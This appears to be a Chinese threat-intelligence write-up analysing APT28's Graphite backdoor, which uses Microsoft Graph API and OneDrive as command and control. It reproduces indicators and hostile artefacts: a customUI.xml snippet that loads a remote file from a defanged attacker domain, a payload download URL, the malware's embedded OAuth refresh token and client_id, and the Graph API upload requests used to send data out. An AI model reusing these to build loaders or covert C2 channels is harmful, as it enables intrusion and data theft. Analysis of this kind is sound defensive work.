首发先知社区:https://xz.aliyun.com/t/14429
首发作者:qianlan
一、前言
在不同场景下的攻防对抗中,围绕远控、后门的研究和发展是不会过时的热点,除了传统的两端、三端通信,近年越来越多的组织开始恶意利用合法的第三方资源,作为C&C进行通信,通过合法的存储资源巧妙的构造指令下发和数据接收,隐蔽性高而且相对稳定。
此篇文章记录了后门武器Graphite,它利用Microsoft的Graph API来将OneDrive作为命令和控制服务器,有记录里,21年12月曝光的Graphite是开创性使用此手法的后门武器,此技术后续也被多个组织运用在武器后门中。
样本执行链路被分为了很多个阶段,不过有些载荷缺失,但是关于Graph API的利用是完整记录了。
二、背景
据信APT28是有俄罗斯国家背景的黑客组织。
Microsoft Graph API是微软提供的一个RESTful API,用于访问各种 Microsoft 365服务和数据。它提供了统一的接口,使开发者可以通过简单的HTTP请求来访问和操作用户的Microsoft 365数据。而Microsoft 365 是微软的一套集成办公软件和服务,包括但不限于 Outlook、OneDrive、Word、Excel、PowerPoint、Teams等。
Graph API使用OAuth 2.0作为访问权限控制机制,有如下一些流程,在完成这些认证后,即可访问目标资源。
三、样本概述
执行链路图。
初始载荷下载包含MSHTML远程代码执行漏洞( CVE-2021-40444 )漏洞的Excel文件,被利用于下载和执行二阶段的恶意DLL文件,此dll文件作为Graphite的第三阶段恶意软件的下载程序。
在Graphite的接收指令“0x02”后,还会解密下一阶段的载荷继续执行。
四、样本分析
4.1 第一阶段,Excel下载器
初始载荷为excel文件,文件名“parliament.xlsx”,被用于钓鱼邮件恶意附件诱导用户点击,表格文件内容入下。
主机模式调试会弹窗如下,可以看到是个外连请求。
通过分析其文件结构,发现其内部包含“customUI.xml”,其中定义了“customUI”标签,使用“CustomUI.OnLoad”属性从远程服务器加载外部文件。
<customUI xmlns="hxxp://schemas.microsoft.com/office/2006/01/customui" onLoad='hxxps://wordkeyvpload.net/keys/parliament_rew.xls!123'>
</customUI>
下载的文件仍然是Excel电子表格,文件名“parliament.xls”,在存储格式上有些区别。表格没有实质性文本内容。
但是通过分析其文件结构,发现文档中定义了OLE对象,其中包含OLEStream结构,定义了CVE-2021-40444漏洞利用的链接,文档运行后将自动下载HTML 文件,并且调用IE浏览器解析。
按照常规逻辑,这里IE浏览器解析执行的html文档应该包含恶意的、经过混淆的js代码,其功能为下载后续载荷,但是我没有找到此案例中的样本js代码。
后续载荷CAB文件也就是恶意js代码下载和执行的。
Microsoft Cabinet (CAB) 文件是一种 Microsoft Windows 操作系统中常见的归档文件格式,通常用于打包和压缩文件。CAB 文件可以包含多个文件,并且可以通过各种工具进行创建、提取和管理。
4.2 第二阶段,DLL下载器
CVE-2021-40444漏洞的利用,下载到一个CAB文件,其解压路径是“../cVgwet.inf”,使用工具查看,此文件是C/C++编译的32位动态链接库文件。
原始文件名“fontsubc.dll”。
该dll文件中包含导出函数“CPlApplet”,主要功能为下载和执行下阶段载荷。目标链接如下
hxxps://wordkeyvpload.net/keys/update[.]dat
利用 COM 对象和 API“ URLOpenBlockingStreamW ”从上述地址获取数据。获取下载文件文件流后,使用异或解密的RSA公钥对其进行解密,并对计算其SHA-256与内置的预估正确值比对,检查其完整性。
同时有个字段的校验机制,将解密载荷的前四个字节DE 47 AC 45 进行比较,如果不匹配,则不会执行有效负载。
完成上诉操作后,分配内存空间,将有效负载放入内存中执行,此阶段结束。
4.3 第三阶段,Graphite恶意软件
4.3.1 初始化
此阶段载荷同样为动态链接库文件,文件不落地加载,原始文件名为dfsvc.dll。核心功能包含在唯一的导出函数中。
首先创建互斥对象避免程序重复执行,互斥体名称“250gHJAWUI289382s3h3Uasuh289di”,随后异或解密使用的字符、winapi、dll名称等。
部分解密字符如下。
随后获取注册表值,路径如下,获取值后计算其CRC32 校验和,用作受感染的唯一标识符。
“HKEY_LOCAL_MACHINESOFTWAREMicrosoft CryptographyMachineGuid”
4.3.2 间隔20分钟发送Microsoft Graph API令牌刷新请求
http请求字段初始化。包括http请求方法、host、路径、Content-Type、user-agent。
以及刷新令牌请求的字段,包括“client_id”、“refresh_token”、“redirect_uri”等。
最终构造请求如下。
POST /common/oauth2/v2.0/token
host:login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
user-agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)
client_id=cac91e80-89c4-4137-bc29-eafcaf96ab08&redirect_uri=urn:ietf:wg:oauth:2.0:oob&refresh_token=M.R3_BL2.-CfQfMN72qX2snnAERbQjyOdyVcyFQugwm3v9uzpDpHgvDoR3FUME9D4cg2pesUvAftViUGHkKqDEe5ABgvUnlV5cnrFIYBq7aXnfuQiLJKS6kUcQOklSnmvVvpTZrhRnjueM!A6q2mjuUqNnPb0hBRBeFTT1GZQvZAGS1ogckcemSv!I!BRf*s!rSncQhxpOsNUy6jyxn!ASsftdI4x1mzegRIK6kZlVwJpw!ZSF06aE2ZxRbGfZoxx2m!LsV*41reQ!j6oDxkyLj0oOdH734tTxuwEKvm5vEL8mzxyV*nWTDTAPvl4BnjcRf7BsZU6v32kcatxeVfIeXf73bahwsoU$&grant_type=refresh_token
官方文档字段解释如下。
请求间歇20分钟。
处理响应体中的json,获取其中的token。
4.3.3 信息搜集加密上传至C&C
api请求将检索指定OneDrive账户的“check”文件夹下是否有新的任务指令。
在此之前,客户端获得有效的OAuth2令牌,客户端将会做信息搜集,包含以下信息。
-
进程信息 -
.NET CLR 版本 -
操作系统版本
搜集信息如下。调用winapi RtlCompressBuffer,对搜集来的信息使用COMPRESSION_FORMAT_LZNT1压缩算法压缩。
对密文在进行AES-256-CBC 加密,key内置、iv随机生成。
将密文以及iv值整合,以put方法发送至OneDrive中的“{的唯一标识符id}/update”文件夹中。
构造Microsoft Graph API 发送的文件上传请求如下
PUT /v1.0/drive/root:/603204205/update/sfCDpbhj0tp8BkI6Z665:/content
host:graph.microsoft.com
Content-Type: application/octet-stream
Authorization: bearer<访问令牌>
<主体中包含密文数据>
4.3.4 向C&C的“check”目录检索命令并执行。
Graphite通过枚举“check”子目录中的子文件来查询新命令。如果“check”子目录有新的文件,将使用 Graph API下载文件内容并解密。
指令位于解密后明文的第二个字节,指令共两个功能。
-
指令1,再次发送系统信息
-
指令2,解密新的shellcode,创建线程执行
这里对shellcode的第三个字段做校验,其中第三块hex值DE47AC45,如果它们不同,则不会执行后续载荷。
指令2解密的了一段新的shellcode,其中解密流程要使用来自onedriver下发的(响应数据的第8和第12个双字)字段,但是C2早已失效,无法解密,也没能在其他渠道找到样本,后续就无法记录了。
不过可以预见的后续会有C#类的载荷,前面包含了.NET CLR版本的检索。
那么文章就到这里了,谢谢读者观看。
原文始发于微信公众号(帅仔回忆录):APT28后门武器Graphite利用Graph API将Microsoft OneDrive做为C&C通信